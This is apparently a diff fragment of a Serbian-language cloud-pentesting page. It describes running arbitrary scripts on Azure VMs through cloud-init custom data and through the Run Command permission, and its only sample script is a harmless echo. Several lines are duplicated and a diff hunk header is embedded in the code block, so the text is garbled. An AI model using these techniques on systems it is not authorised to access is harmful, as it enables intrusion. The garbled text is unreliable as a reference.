- **cloud-init:** Po defaultu obrađuje prilagođene podatke i ovi podaci mogu biti u [**several formats**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Može lako izvršiti skriptu jednostavno slanjem samo skripte u prilagođenim podacima.
- Pokušao sam da i Ubuntu i Debian izvrše skriptu koju stavite ovde.
- Pokušao sam da i Ubuntu i Debian izvrše skriptu koju ovde postavite.
- Takođe nije potrebno omogućiti korisničke podatke da bi ovo bilo izvršeno.
```bash
#!/bin/sh
@@ -739,7 +739,7 @@ echo "Hello World" > /var/tmp/output.txt
```
### **Pokreni Komandu**
Ovo je najosnovniji mehanizam koji Azure pruža za **izvršavanje proizvoljnih komandi u VMs**. Potrebna dozvola je `Microsoft.Compute/virtualMachines/runCommand/action`.
Ovo je najosnovniji mehanizam koji Azure pruža za **izvršavanje proizvoljnih komandi u VM-ovima**. Potrebna dozvola je `Microsoft.Compute/virtualMachines/runCommand/action`.
{{#tabs }}
{{#tab name="Linux" }}